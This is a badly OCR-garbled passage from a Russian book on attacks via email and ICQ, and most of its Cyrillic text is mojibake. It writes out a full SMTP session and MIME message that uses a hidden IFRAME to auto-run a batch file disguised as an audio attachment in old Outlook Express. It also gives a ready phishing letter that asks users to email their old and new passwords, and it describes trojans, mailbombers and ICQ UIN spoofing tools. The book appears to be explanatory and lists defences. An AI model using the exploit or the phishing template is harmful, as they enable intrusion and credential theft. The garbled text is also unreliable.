CKM, 9TO O9YCHb YXOOHO JUIS BHEAPEHHA BIOXKEHHOH IPOrpaMMebl Ha
KOMITLIOTEPE-TIONyYaTeNic MIChMa. 3HAYCHHUE aftachment O3HA4aeT,
9TO BIIOKEHHE JOIDKHO OTKPHBATHCA C IIOMOMIBIO MONBI0OBATENBCKO-
ro uaTepdeiica IOYTOBOro KIMEHTA.

HWrak, Temeps B, HascpHOC, AOTAARBAETECh, KAk OyAcT BHI-
rISACTh TTHCbMO, COJACDIKAINCE AKTHBHBIH KOJ, IPEAHA3ZHAYCHHBIH
JUIS MCTIONTHEHHA HA KOMITBIOTEPE KEPTBEL. PacCMOTPHM TEXHONOIHIO
OJHOM M3 TAKHX aTaK B ACTAAX.

Co3nanue u oTnpaBka coolmenus.

THocMoTpuM Kak MOXHO cO34aTh COOOIEHWE, 3ANYCKANOMEE
H2 aTaKOBaHHOM KOMIbIOTEpe komaHael MS-DOS. Jtn xomaHAB!
HCTIOTHAIOTCS Cpa3y, Kak TONbKO NOMYYaTe/Is BBIACITUT MOTyIEHHOS
nHcbMO B nouToBoM kmente Outlook Express craprix Bepcuii.

CocraBuM HCHMO.

hello email.com

mail from: <petia@email.com>

rept to: <kolia@email.com>

50

data
subject: Attack
MIME-Version: 1.0

Content-Type: multipart/related; type="multipart/alternative";

boundary="1"

-1
Content-Type: multipart/alternative; boundary="2"

-2

Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition:inline;

<HTML>

<HEAD>

</HEAD>

<BODY >

<IFRAME src=3Dcid: THE-CID height=3D0 width=3D0>
This message uses a character set that do not supported

by the Internet Service. Please disregard. <BR</IFRAME>
</BODY>

</HTML>

i,

-1

Content-Type: audio/x-wav; name="hello.bat"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>

echo off

dir c:\

echo "Your system has a problem!"
pause

-1

quit
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Iepsric gernipe CTPOKH MOCHAHMA — 3TO KOMaHJBI IPOTOKO-
na SMTP, xoropsie 06eCneYHBaOT OTIPABKy COOOINECHHA HAa CEPBEP
SMTP, paGoraromuii B pexuMe cBOOOAHOM peTpaHCIAMA — pac-
coutaromuii mobpie COOOMCHHS, MOCTYNAIOMKFE HAa CEPBEP, 110 JI0-
Gomy ampecy. Komanaa hello ycramasmsaer cBash ¢ cepBepom-
perpancnsropoM. Komanza mail from ykaseiBaeT nmovroBmidi ajapec
OTIIPABMTENS, U &€ CreAyeT u3berats, a KOMaHaa rept to 3a4aeT aapec
nonyuatens. [locneareii crour xomanzaa data, nocine KOTOPO# HAYH-
HaeTcs COOCTBEHHO NOCIAHHE.

B nocnanmu akTHBHBIH KOJ HOMEICH BO BJIOXKEHHE, OTpaHH-
YEHHOE CTPOKaMM «--1», H 3TOT KOZA COXEPIKHT HECKOIBKO KOMaHJI
MS-DOS ans orobpaxenus xatasiora aucka C: u BeIBoga coobme-
HHMS O HAJMGMHM B CHCTEME YS3BHMOCTH. UYTOObI NOYTOBLIH KIHEHT
aBTOMATHYECKH OTOOpasHi mocianue, B Hero nomemed kox HTML,
coaepxamuii Ter IFRAME Ui BKIIOYECHHA B TEKCT TOCIHAHMS
BCTPOEHHOrO (peiima:

<IFRAME src=3Dcid: THE-CID height=3D0 width=3D0>

This message uses a character set that do not supported

by the Internet Service. Please disregard. <BR</IFRAME>

O6parure Buumanne Ha atpubyt src=3Dcid: THE-CID, xoro-
pHIl yKa3BiBACT HA HCTOYHMK JAAHHHIX Jis (peiimMa ¢ MOMOmbIO
AACHTH(HKATOPA, U 3TOT XK€ HACHTH(PHKATOP NMPHUCBOEH BTOPOMY
piokeHn:o B 3aronoexe Content-ID: <THE-CID>. Iipn otkpeiTem
9TOr0 NKCbMa B MOYTOBOM IJIMEHTE IMMPOMCXOMUT aBTOMATHYCCKASA
3arpy3ka AAHHHIX BO BCTPOCHHBIH QpeliM, H TyT-TO H NPOMCXOAMT
CaMoE MHTEPECHOE.

Ilauusic BO BTOPOM BJIOXKCHMH — 3T0 Habop komanx MS-
DOS:

echo off

dir c:\

echo "Your system has a problem!"

pause

THo AaHHBIX A7 BTOPOTO BIIOXKEHHS ompenencH kak audio/x-
Wav —- T. €., aDCOJIFOTHO HE COOTBETCTBYIOIMI ACHCTBHTEIBHOCTH,
NOCKONIBKY BloXeHue coaepxur komaunasl MS-DOS. Tlpocroit sxc-
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IICPMMEHT TOKAa3bIBACT, YTO NPH YTCHUH IOATOTOBJICHHOIO TAKHM
obpazoM mucema nourobiii kiueHt OE cOuBaercs, u aBToMaTHye-
ckH, O€3 yJacTHA MONb30BATENA, UCTIONHSIET 3TH KOMAHABI IIPH BbI-
(ope muchMa B AMATIOrE MOYTOBOTO KIIMECHTA.

B npunnmne, BMecto npuseaeHHsx koMangy MS-DOS moxHo
BBCCTH JIIOOBIE APYTHE KOMAaHABI, BIUIOTh JO TPHKA3a YCTAHOBHTh
COCAMHEHHE C TPEOYEMBIM KOMIBIOTEPOM.

r. 58 Kosey: M@rder
Torer kk

RS

Yoru T X

1 reu or xowTacTon Nyet, Jl0A coxaena
wineracra waxvare Korer el

1 noimidt 1, s rpoerinn O T ’ ’ ) Lk Potiota n cere i§t Coopenrem..

Puc. 7. Pezymﬂ'a'r BBOIOJIHECHMSL BJIOYKCHHOI'C B TEJIO ITMCHMAa KoJaa.

2.2. Tepenonuenue Gydepa.

OTa araka Noxoka Ha PACCMOTPEHHYIO HAMH B IIPEABIAYINCH
rnase. [lpu ompeneneHHOM H3MEHEHHH 3HAYCHHA MOJNCH MNHCHMA
MOXCHO JOOHTBCS BBIIOJHECHUS OT HMEHH IIOYTOBOrO KJIHEHTA Mpo-
I'PAMMHOIO KOZAA Kpakepa.

Tak, B 2000 rogy Obura HaiineHa ysssumocty kiuenta OEF,
ciszaHHasg ¢ nepenonHenueM nons spemeny GMT. Ilomectus B 310
1HJIC BMECTO JATHI KPAKCPCKHIA KOJI, Jajiee MOXHO 3aCTaBUTh IIOYTO-
8O0 KIIMEHTA BBIIOIHUTH KOXA TP 3arpy3ke COOOLIEHMS MO MpPOTO-
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kony POP3 wm IMAP. Ota ys3BUMOCTh Oblia YCTPAHEHA B MAKETE
Service Pack 1 xns Windows 2000.

2.3. 3amuce ¥ uTeHHe JOKAIBHBIX (hailioB.

3anucare wiau npouymurtars (aiiiel HA MAIIUHE NOIb30BATEN
MOXHO KaK C IOMOIUBIO AKTUBHBIX BJIOXKEHHM, TaK M C IOMOIIBIO
s3eika HTML, ucnonn3ys pacCMOTPCHHBIC HaMM METOABI aTak Ha
Opayaepbl. JTa aTaka 4acToO NMPUMEHSETCS IS PasMEINECHUA Ha KOM-
NBIOTEPE KIMEHTA POrpaMM-1LIITHOHOB, TPOSHCKUX KOHEH U T. I

2.4. OTKpBITHE UCXOASINHX KIHMECHTCKUX COCAMHEHMH.

JTa araka CIOY)XHT M1 OpPraHM3allMd CBA3M KOMIIbIOTEpa-
KEPTBHI ¢ aTakywomuM komnsrorepoM. ITossonser oboituce 6e3 no-
CTOSIHHOTO CKaHHPOBaHHS KOMIIBIOTEPOB (HAAO TOIBKO JKAATh) H
OPEOJONETh 3AIUTY OT AOCTYNA KOMIBIOTEPOB M3 BHEIHEH CETH K
JIOKQJILHBIM MammuHaM (€CIH OHA €CTh).

3. ATaxy Ha MOYTOBBIH SIHK.

3.1. TToaGop mapoas K NOYTOBOMY SIMHKY IONB30BATEINS.
HCHOIILSyﬂ paBJ'II/I'-IHbIC HpOI‘paMMHI:IC cpeucma, 3J'IOYMBIIII-

JICHHHK, TPOBOAS aTaKy MO CIOBAPIO MIIH ITOCICIOBATENbHBIM IIEpE-
00pOM, MOXKET ONPEAETUT NapOk A1 AOCTYNA K NOYTOBOMY SIIIH-
Ky xeprenl. Ilocne nmonyueHus naposs 310yMBIIUICHHHK HMEET BO3-
MOYKHOCTb KOHTPOJIMPOBATh BCIO KOPPECIIOHIACHIUIO XKEPTBHI, & TaK-
3KE OTHPABJIATH IMChMA OT Er0 HMCHH.

3.2. «PaspymeHue» IOYTOBOIrO SIIHKA.
DTOT BapHaHT aTaKH SBIACTCA AEIOM PYK KpaKepOB-BaH/aJIOB.

Ona He aaer xocTymna K Uy:KOH KOPPECNIOHACHLIMM, HO BBIHYXJAET
MOJB30BATENS CMEHUTH IOUTOBBIH SAIMUK.

Ataka 3aKIIOYaeTCs B OTNPaBKE HA ajpec IOIb30BaTENA Or-
POMHOI'0 KOJIMYECTBA COOOIIECHUH C PasHBIMH TEMaMH M aJpecaMu
ornpasureneil. IToarossiit daitn nons3oBatens Ha cepsepe 3abuBa-
€TCs MPUCAHHBIM XJIAMOM, U3-3a KOTOPOrO HACTOSIIHE ITHChMa JTHO0
HE NIOMEIIAOTCA B ALIMK, OO0 TepsioTcs B HeM. Jla aBToMaTH3anmu
HOROGHBIX aTak CO3AAIOTCA CIELMAIbLHBIC IPOrPaMMBl — MEHIOOM-
Oepsl.
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EMMHCTBEHHLIM COCO6 mpOTHBOACHCTBUS — 6embiif CIIHCOK
— MO3BOJIET JIMNIL OTACHHTh IHChMA JOBEPEHHBIX MONb30OBaTENEH
OT MyCOpa, HO NHCHMA HE TIONABIIHE B ALIMK OH HE BEPHET.

Hocunenyio nomMomp BaHAAMAM B A€N€ «PAa3PYIICHHS» MOYTO-
BBIX SIIMKOB OKA3KBAIOT criamephl. [lopoii JocraTouno BHECTH axpec
KCPTBHl B CIMCKH PacChUIKH M HE 3aTPYAHSATH CEOS NOMCKOM MM
HANHCAHHUEM IIPOTPAMMBI.

4. CounanbHan HHKEHEPHS.
OTH METOMB — BOMCTHHY YHUBEPCAJBHEL M BCEMOTYIIH.

ITrcemo ¢ BIOXKEHHEM, CONMPOBOKAAEMBIM JIOBKO COCTABNCH-
HBIM TEKCTOM, IIPHUTJAMIAIOMHM BOCIHOJIB30BATBCA HEMBICIHMO BEI-
FOXHEIMM YCIyram#, 3arpy3urh 4yao-TIporpamMmy, AOKyMeHt MS
Office (BcrioMHMTE NPO MAKPOBHPYCH) — BCE ITO HAWTYIIIHIE CrIO-
¢0b B3noMa KommbioTepa. Beas camplil poCcTOit METOA IPOHUKHOBE-
HUSL B 9YXKOH KOMIBIOTEP ~— 3TO 3aIyCK HA HEM IPOTPaMMbi 310~
YMBIUUTICHHUKA PYKAMH CaMOTO I10JIb30BATENS.

Camniii mpocToif ¥ HAASKHBIH METOX ONYYEHHs NAPOs JOC-
TyIa K INOYTOBOMY CEPBEPY, a TaloKe M BooOLIE K JII000OMY CEpBHCY
MHTEpHETa, COCTONT B PACCHIJIKE MOINCHHHYCCKHX IMCEM, HMCIOMEX
IICTBI0 BEIHYAMTh IIOB30BATENS CaMOMy COOOIMTH CBOH Mapons.
Hampumep, macemo, axoOwr oT mposaiizepa HMurtepHera, mpuria-
IAIOMES MONYYaTEeNs YKa3aTh «HOBBIH» IIAPONb LI 3AIHTH CBOETO
soctyna k cepeepy MaTeprera. 310 — HENPUKPHTOE MOIICHHHYE-
CTBO, MOCKOJILKY CHCTEMHBIC 3AMHHHMCTPATOPH, YTO O TAM O HHX HE
1I1CAJIOCh B PA3THYHBIX M3JAHHSX, HUKOTJA HE ONYCKAIOTCS A0 TAKOM
1IIyMOCTH, KaK 3anpoc y NOAb30BaTeICH HX NapoNeii Mo SNEKTPOHHOM
noure. Tem He MeHee, Takoi mpueM cpabarsiBacT — BEIb K OCBOE-
nui0 IHTEpHETa ©XEXHEBHO NPHCTYNAET MHOXECTBO AOBEPYMBBIX
1I0BHUKOB (BCE MBI KOTJJa-TO OBUTM HOBHYKAMH), TaK YTO INAHCH HA
YCIIEX HEIUIOXME.

Bot npumep Taxoro nucema:

«YBaxaeMslit onms3osaTens!!!

K coxanennio, na Bamem cuery 6sin o6rapyxen ¢axr qBoii-
1070 AOCTYNA K HAIIEMy CEPBEPY, T.€. B OXHO M TO JKE€ BPEMS, HC-
nonb3ys Bam akkaywr, B cucremy Bomum 2 (ZBa) moab30BaTEns.
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Bcneacrue 4ero Bo3HMKIA HeoOxoaumocTs B cMene Bamero rexy-
IIero napons ACCTYNa K HAmeH ceTy.

Bam HeoOX0AMMO OTBETHTH HA 3TO IMMCHMO, HCIIONBL3Ys CIE-
Aayromuii gopmar:

log: Bam nmorux

Op: BaI CTaphii Napois

npl: Bam HOBBIA NAPOIDL

np2: Baul HOBBIA NAPOJIDL

em: Bam e-mail

O1H cBefeHMs JOIDKHE HAXOAWTHCK B Hadane Bamero coob-
IICHMUA.

Ofparure BHAMAHME HAa TO, 9TO HOBMIH NAPONb JODKEH OHITH
nosroped apaxas! Ito HeoOxouMO And TOUHOH HACHTHOHKAMM
Bamero akkaynta. PexkOMeHAyeTcs NpHCIATh CBOM CBEACHMS MO
28.07.2004, T.x. 0O MCTCICHHH ITOr0 CPOKA BO3MOXKHO OTKIIOYECHHE
Bawmrero akkaynra.

Xemaem Bam ycniexos!!!
C yBaxxeHHeM, a/IMHHECTpaIWs CEPBEPA.»

TTHCBEMO COCTaBIIEHO C TOHKMM Y4€TOM IICHXOJOTHH NIOIh30Ba~
tens. TpossicHa 3a6ora © €ro cpeacTBax, MPOBEACH YETKHE HHCT-
pyxrax u fobaBleHa yrpo3a OTKIIOICHUA.

Paccrinka mvceM ¢ BIOXKEHHAMM TpeAcTaBiser coboit Hawu-
nyqmumii cnoco0 BHeApenus Tposuos. IIpumensemas npu 3TOM TEX-
HHKA 00MaHa MOIL30BATENCH BECEMa MPOCTa — PasochaB Kydy DH-
CEM C BIOXKCHHOH IPOrpamMMoi HHCTAJULIIHK TPOSHA, KPAKEP XKICT,
KOT/J[a AOBEPYHBBIA NOMYYATENs MACHMA INEIKHET HA KHONKE (MM
CCBUIKE) AN OTKPHITHS BIOXKEHHs. YToOH IpHBIeds BHUMAHKE, 3TO
BIIOXKCHHE PEKIAMHPYETCA B IHChME KaK, JOMYCTHM, «OECIIATHOE»
obHoBnenne Web-Gpaysepa wm «maker Owm3Hec-porpamMm», Oec-
nnataeie nopHO-pororpadumy, uMUTAUHA CIYXKEOHBIX COOOIECHHMI
(enpyc mydoom) # T. 11. (4 3TO TOJNBKO YacTh TOro, 4TO JOBOAMIOCH
HaxoAuTh B CBoeM nourosom smuxe). [Hemraok mns oTkperrus Bno-
JKEHHsS 3aIyCKaeT MpPOrpaMMy HMHCTALLMMH. Ha kommbrorepe-
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WCPTBE YCTAHABIUBACTCA, HAIPUMEP, TPOAH, KOTODHIA cooOmaer
XO3HHY O CBOEM YCIIEITHOM BHEAPESHHUH IO KOHKpeTHOMY IP-ampecy.

Bce ocrambuoe owenn mpocro. Ecnu BeeapeHHBIN TpOSH —
«ICHUBBIH», T.¢. paboTaeT xax OOBIUHLIA Keinorrep, o GyaeT mHo-
CICIICHHO TIEPEAaBaTh BCIO HH(POPMALHIO O BAHMIMX ACHCTBHAX CBO-
UMY XO35HHY — M, B HHCIIC MPOYEr0, NEPEAACT BCE BBCACHHBIE BAMH
napoma. Eci xke TpOsH «akTHBHBI», T. €. IOAACPIKUBACT CPEACTBA
V/WICHHOTO YIIPaBJICHHMS, OH MO3BOJMT CBOCMY XO3SAMHY IONKIIIO-
UTLCH K KOMITBIOTEPY-IKEPTBE H ACNIATh HA HEM YTO YrOAHO — (hax-
IICCKA CTaTh BIRJIETBIEM BCEX HHOPMALHOHHEIX PECYPCOB KOM-
HLoTEPA.

B xonie 2002 r., B Mockse apecToBany OAHY KOMIAHUIO KYJI-
AUKEPOB, 3AHATHIX PACCHIIKON TPOSHOB, KOTOPHIC BHIBCABIBANU 1A~
poaH JocTyna x mposaiinepam Hrrepuera v momywareneli mucem.
Y «pascHHBIC NapoNH 3aTEeM MPOAABATHCH ¢ BeD-caiita. Tak uro, He
UMOTPS H3 BCE HECOBEPIICHCTBO HAINErO 3aKOHOAATENBCTBA CTOMT
1OAYMaTh, PEKAEC YEM IPHMEHSTH BCE ITH METOABI B ACHCTBUA.

Ha merozax conuansHOM MIDKCHEPHH OCHOBAH €INe OMH 3¢)-
(hexTuBHBIH MeTOR 06X04a 3AMMTHI FIOYTOBBIX CEPBUCOB (M HE TOJb-
w0 ux). Ha BeO-cTpannIax, MpeaoCTaBIIOmIX CCPBHC INEKTPOHHOM
1Ho'rel, O9€HDb 4aCTO MOXKHO BCTPETHTh CTPOKY BHAA «3abbum ma-
(}uib?», TO3BOIIOIMYIO BOCCTAHOBHMTH 3a0BITHLIA Mapoik AOCTYIA.
{1{en0K HA 9TO# CTPOKE MPETAraeT BBECTH OTBCT HAa BOMPOC, KOTO-
jnait BB BHIOpA/M NIPH PETHCTPALHM HA MOYTOBOM CEPBEPE — Ha-
npumep, «Bame mobumoe 6moa0?», «JleBuuns davunus matepu?»,
«Kax 30ByT Bamy cobauky?» m Tak manee. Taxo# cmocol Boccra-
1OWICHAS AOCTYHA K MOYTE — 3TO HacTosmuil Kionaaik ang noxu-
MINOINETO YENOBEKA, MOCKOIBKY HMCI0 Omrox, HMeH M damunmii He
1K YXK M BETHKO U, K TOMY )K€, HX MOXXHO BHIBEJATh y CaMOI'0 XO-
WIHQ TIOYTOBOrO suka. CkaeM, €ClTH B HEHPHHYKACHHOM BHPTY-
niuwiioi Gecene y3Hate y moas3osBarens Komm, gm0 ero mobmmoe
Nin0/10 — KapToIKa, TO MOXKHO NONBITATECS MPOHUKHYTD B €TI0 1I0Y-
lonniid SIMK, YKa3aB B OTBET Ha 3ampoc O JoGHMoM Omroge CTPOKy
nna potates, kapromxka mwid RFHNJIRF (xapromka ¢ nepexmoyen-
#14M A3BIKOM).

Onucanneie MeToxs He €3 OCHOBaHHMS KOE-TAC HA3BIBAKOTCS
wppopucTHaeckumu. [loaToMy, Npekae 9eM NMPUCTYIUTL K UX HC-
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NONB30BAHHIO, CICAYET OTYETIMBO IOHHMATh CBOM IEPCIIEKTHBBI,
KOTOPBIE MOT'YT ITOSBHTBECS HA FOPH3OHTE NPH HEOCTOPOXKHOM 00pa-
ICHHH C TaKWMH Pa3pyIIUTEIbHBIMA OPYMAMH, kKak MeiinbomGepst
H BIJOMINHMKH Iaponiei moutoBhX cepeeposB. OCcHOBHOE mpeaHasHa-
YEHHE TAKMX NPHCIOCOONCHWH — XY/NUraHCTBO, INAHTAXK, BAHJA-
M3M, AMCKPEAMTAIMS CBOCH JKEPTBHI ITyTEM ONMyOMMKOBAHUA JMd-
HOIi IIEPENUCKM U TaK Jajiee H TOMy NOAOOHOE — 9TO HM JAEAHHE, TO
CTaTss YrOJOBHOIO KOAEKCA.

BapusaHTHI 3aITH OT aTaK HA CEPBUC JICKTPOHHOM MTOYTH:

— Hcnons3oBanue HE PacIpOCTPAHEHHEIX MOYTOBHIX K/IMCH-
TOB. 2TOT METOA HE TapaHTHPYET OTCYTCTBHE B HHUX YA3BHMOCTCH,
HO YMEHBIIACT BEPOSTHOCTD ATAKH.

— Wcnone3oBanme 1oYTOBRIX  BEO-CCPBHCOB, HApuMEp,
mail.ru, hotbox.ru u ap. Ha BeG-crpammmax, npeaocraBiaseMuIx 3TH-
MH CaiiTamMM, MOXKHO 3apPErHCTPUPOBATHCA, 334aTh CBOH JOTMH U ma-
pofib, FIOCHE YETO HA CEPBEPE CO3MACTCA IMOYTOBHIA SIMHK HOBOTIO
none3osareni. IlorydeHue u oTnpaBKa IMHCEM TaKKEe MOTYT BBIIOJ-
HATBHCS C IOMOLIBIO BeO-uHTepdeiica.

K aocromncTBaM 3TOr0 METOAA 3aIMMTHI CTOMT OTHECTH: BO-
NEPBHIX, Npu PpaboTe ¢ Takoi IMOYTOH BHI COXPAHACTE HEKOTOPYIO
AHOHHMHOCTB, IOCKONbKY B moie Received: Oymer oroGpaxarscs
TIOYTOBHIH aApeC IOYTOBOTO CEPBEPa, a HE BANMIErO POAHOTO IPOBAii-
aepa Uureprera; Bo-BTOpEIX, nouToBLIA cepBuc WWW sHAUMTENHHO
yupomaer CopsOy co cnamom. K menocrarkam —— Bee ys3BumocTH,
npucymue pabore ¢ Be6-OpaysepaMi — 3IOHAMEPEHHBIC CLECHAPHUY,
anemenTH ActiveX H Tak Janee, KOTOPhIE Mbl PACCMOTPENIH B TPETh-
¢t rnase.

— Hcnons30BaHME aHTHBHPYCOB, HACTPOCHHBIX HA KOHTPONbL
noyroBsix BhoxeHHH. JlosBomMT nepexsarmBarh caMbie pacnpo-
CTPAHCHHAIC PEATM3ALMHI aTaK METOAOM AKTHUBHBIX BIIOYKCHHIA,

— Hacrpoiika noyroBoro xiueHTa Ha OTKa3 OT ABTOMATHYC-
CKOTO OTKPHITHA NHCEM. 3amiMTa OT aTaK METOAOM AKTUBHBIX BJIO-
KCHHUI,

— Hactpoiika nogroBoro ximenta Ha OTOOpaXEHHE IHCEM B
npocToM TexcToBoM (popmare. Ilosponur samuTHTECA OT arak Ha
ocHoBe HTML-koa08.
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— Hcnonb3oBaHMe CHOXHBIX NAPONEH IMHON HE MEHee 8
CMMBOIIOB H IEPHOAMYECKas CMEHA maponeH. Xopowee cpeacTso
MUATHL OT HOAG0Pa MAPONA K NOYTOBOMY SIITUKY.

- O6ssaremenoe mudposanne KOHGUACHIMATHHOR TiepeTHC-
KH. 3aIMUTa OT MEPEXBATA ITHCEM.

— Hcnoms3osanne nmporpamm ¢unbtpaman cnama. 3ampra ot
CNAMEPCKUX PACCHUIOK H IMCEM C CEPBEPOB C OTKPHITHIM PEIEEM.

Ilpumerienne OMMCAHHBIX METOAOB NO3BOJIUT 3ANIATHTE CBOIO
"WICKTPOHHYIO IIEPENMCKY OT PA3IMYHBIX ATAK, HO TOJIBKO B TOM CJIy-
'1aC, ECITH Y TIONb30BATENA €CTh CBOA rOI0Ba Ha mieyax. Ecim ol or-
KPLIBACT BCE, ITO YIIANO B €0 MOYTOBHII ALIHK, BEPUT KAXKAOMY CO-
OGWEHHIO M TOTOB OTNPABJIATE KOHYHUACHUMATBHYIO HHDOPMANMIO
noBOMy HHTEPECYIOINEMYCS, TO €My HE roMoxer mobas cymep-
"WILKT.
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IJIABA 5.
CereBbie aTakH.
ATaku Ha Ciyx0b1 06MeHA MrHOBEHHBLIME COOGUICHHAMH

HawuGonee MaBecTHOM M pacnpocTpaHenHoi ciymOoii oOMeHa
MrHOBCHHBIMM cooOmenuamu ssisercs ICQ, ¢ Hero H HaumeM pac-
CMOTPEHHME TEMBI.

AG66pesunarypa ICQ osnauaer «Intelligent Call Query», uro
NepeBOAUTCA NPHOTM3NTETBHO Kak «MHTEILICKTyalbHMH BH30B HA
cBa3b». A emie nmpousHomenue cokpamenus ICQ [A#i-Cu-Kuio] co-
3syuno ¢pase: «I Seek You» — «J mmy Tebs»; Kpome 31TOro, Ha
PasroBOPHOM PYCCKOM A3bIKe nporpammy ICQ uvacro HassiBaoT npo-
CTO «aCbKOH».

Hassanue ICQ 6smno npuceoero cuyxbe Murepuera, Briepsoie
paspaborannoi u BemymeHHOH B 1998 rogy xommnauueit Mirabilis,
nodyke npoxasmeii (3a 40 MMILITMOHOB JO/LIAPOB) CBOE ACTHIIE KOM-
nanuu AOL.

Ciryx6a ICQ u3BecTra BCeM mroOuTENIM nyTemecTsuii B Un-
TepHere, WA koropux ICQ urpaer pons BHPTYansHOrO meimkepa,
NO3BOJIAA CBA3KIBATHCS CO BCEMH CBOMMH JPY3biMH, KOTOPHIC B JaH-
HBIH MOMEHT HaXOIUITC B OHIAMHOBOM pexkume. IlyremecTBeHHMK
no BUpTyabHBIM rpoctopam Mareprera Gonee He ocraercs B oam-
HOYCCTBE: BE3AE, rae 6n oH HU GhuI, K HEMY MOTYT OOPaTHTBCS JIIO-
6rie mone3oBatenu ICQ, u OH cam MOXET CBA3aTHCA € MOOKIM Apy-
MM ITyTHHKOM, CHASIIMM 33 KOMITBIOTCPOM B JIOOOH 9acTH CBETa. A,
CBS33aBIINCh, APYT C APYTOM, MOXHO OOMEHATHCHA COOOMICHWAMH,
nepeciars APYT Apyry ¢aiinl 1 Aake NOroBOPHTH MOYTH KaK IO TE-
nedony — rocnas roJocosoe cooduyeHue.

Hnsa paboru cepeuca ICQ ucrions3yerca cepsep, epes KOTo-
PHiif HPOUCXOANT MOMCK OHNANHOBHIX COOECCAHMKOB M aBTOPH3ALHS
wmenros ICQ. Iporpammer kmuerros ICQ MoXkHO HaliTH Ha caifTax,
noaxepamBaomux padory ICQ, manpmmep, http://www.ICQ.com,
http://mirabilis.com. Cammiii u3Becrasiii xment ICQ Tak u HaszsBa-
erca: ICQ ¢ mobasicHueM rojaa CO3ZAHHS H BEPCHH, HATIPHMED,
1998, 1999, 2000, 2002, 2003. [na nmoaxmodenus k cepsepy ICQ
KmeHT pcnonb3yer nopr UDP, a ang nepeaaum u npuema coodbae-
aui — noprt TCP, BblaenseMblil BO BpeMs CeaHCa CBA3H.
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Kaxnomy xnmeHTy, noaxmoausmemycs K cepsucy ICQ, mpe-
nocrasierca uacaTuguxarop UIN (Unique Identification Number
- Vaukansaoii uaesTudukanoHHnii Homep). Jing BmidoBa Ha
thu3b «achbku» cobeceamuka joctarouHo BeecTH ero UIN — u Ha
xoMnsiorepe Kauenra ICQ 3ammraer 3Ha40K BHI30Ba, Pa3nacTcs 3B0-
0K HIIH JAXKE IOJIOCOBOC MPEXYTIPEAACHHE O BHI30BE.

Kasanocs 651, uto Moxker ObTh Ge3obumuee ICQ? Oanaxo B
ymensix pykax cepsuc ICQ cran BOHCTHHY IPO3HBIM OpYIKHEM, XIC-
|0/l KOTOPBIM NAJI HE OAMH KOMIBIOTEP M HE OAMH HEOCTOPOXKHBII
1101b30BaTENh NOMIATIUICS 32 JUIMHHBIHA 351K W npeHeOpexeHne mMe-
PUMH 3aM(HTH.

Bo-niepBrix, MpHIHHA 0COOOH OMACHOCTH «aChKH» 3AKIIOYACT-
UN B IPESAOCTABICHHM MONB30BATCIAM OONBIIMX BO3MOXHOCTEH O
vitpaBnenmio cearncamu cssizu [CQ, 1 HE BCE STHMH BO3MOXKHOCTAMM
HPABMNBHO MONB3YIOTCA. BO-BTOPHIX, pa3paboTsmxu KIACHTOB H
copsepos ICQ mnoxo cnpoexTupoBam ¥ peam3opaim cepsuc ICQ ¢
1OYKH 3peHMs 6e30maCHOCTH.

OcHorHbie Yrpo3hl, cBa3aHHkE ¢ cepsucoM ICQ: :

— Crydunr, 10 ects damscudpuxanus UIN nochizaeMbIx co-
obicHuit. 310 MO3BOISET KOMMPOMETHPOBATh APYTHX TNONB30BATE-
ncit, pacceiias COOOWIEHHA OT MX MMEHH. JT0 OCOOCHHO JIErKO CAe-
nKTh, ECIHM KIIMEHT HACTPOCH Ha nony4denne coodmenuii ICQ or apy-
riIX KITHCHTOB HANpPSMYIO, MAHYH cepsep — cepeuc ICQ npeaocras-
IHCT TAKYIO BO3MOKHOCTb.

-~ ®nayn, ICQ-6oMOunr. OTnpasneHHe NMONB30BATEMO «ACHKH»
(IPOMHOTO KONHYECTBA GECCMBICIICHHRIX COOOIICHHH.

— Cerenoii Banom ICQ-xnuenros. Hanpumep, onpeaenenue
IP-agpeca csoero ICQ-cobecemumka. 3uas IP-anpec xmmenra ICQ,
MOXKHO COBEPIIMTh NONHOMACHITAOGHOEC BTOPKECHME B KOMIIBIOTED
JOBEPHIHBOTO IOIB30BATENA — OHPEACHMTE OTKPHITHE IOPTH, OpPTa-
14130BaTh aTaKy HA OTKA3 B OOCITYKHBaHHH H T. II.

— IMupoxue BOIMOXKHOCTH IIPAMEHEHUS METOAOB COLHANBHOMH
mKeHepHH 1 MomenHu4ecTsa. Hanpumep, srepesmucsk B joBepHe
K ICQ-cobecearuxy, MOXHO nepecnars eMmy daiin sxobu camopac-
NAKOBHIBAIOIIETrOCH apxusa AKoOn ¢ dororpadueii croeit cobauxu.
YanyctuB nonywenmbi ¢aiin i1 «pacnakoBKH» apXuBa, BMECTO
wrpy3ku dororpadun nmyaens NoIb30BaTENIH 3AIMYCTHT HA CBOEM
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KOMIIBIOTEPE TPOSHCKOTO KOHS, KOTOphiH Oyaer coobmarb xpakepy
060 Becex AeHCTBHAX MONB30BaTENA, a €CITH ITOT TPOSHCKHH KOHb —
aKTHBHBIH, TO M NPESAOCTABHT EMY CPEACTBA VIS YAAJICHHOTO YIpaB-
JIEHHS 3aPAXKEHHBLIM KOMITBIOTEPOM.

— Y43BHMOCTHM IPOrPaMMHOTO ODESCIICHCHHS KIIHCHTOB M CEp-
BepoB ICQ, BOZHMKIIME N0 IpHYMHE NPEHEOPEKEHHS NPOrpaMMH-
cramm xomnanun Mirabilis Borrpocamu Ge3onacHocTH. PaspabarsiBas
nporpamMmal B nipotokonsi cepeuca ICQ, oHM ocraBwim B cHCTEME
3amuTh ICQ OrpoMHOE KOMHYECTBO YA3BHMOCTEH.

PaccMOTpUM OCHOBHEBIC THIIBI IIPHMEHAEMbIX aTaK Ha CCPBHC

Crydunar UIN.

Kak yxe ynomunanocs, ¢yrs cnydunra UIN 3axmouaercs B
paccbuike ICQ-coobmenmii ¢ noqmenernsM UIN — nonn3ysace sua-
auamMu npotokona ICQ, xpakep co3macT mporpammy, KOTOpas NHpH
orceuike coobmenus roacrasnsetr duxruaEi UIN BMecTO peans-
HOTO.

Ilpumepom TakoH
[pOrpaMMbl  MOXKET ~ ClIy-
xure LameToy for ICQ
(DBKILLER). s ornpas-
ku  hamcupHIMPOBAHHOIO
COODIIEHHA CIEKYET TOMBKO
BBECTHM B IICNI€ BHHU3Y AHA-
nora LameToy for ICQ
(DBKILLER) xaxoii-muGo
TEKCT M IICJIKHYTh HA KHOII-
ke Send (Ormpasurs). Ko-

JIMYECTBO NOCHAHHI MOXHO
u3MeHuTE B mone Loop
(Iuxn) rpynns anemerroB ynpasnenus Setting (Hactpoiixa). Tam
e MOXKHO BHOpaTs THI nocnannd. Yrobwu cxprite cBoil UIN, B mone
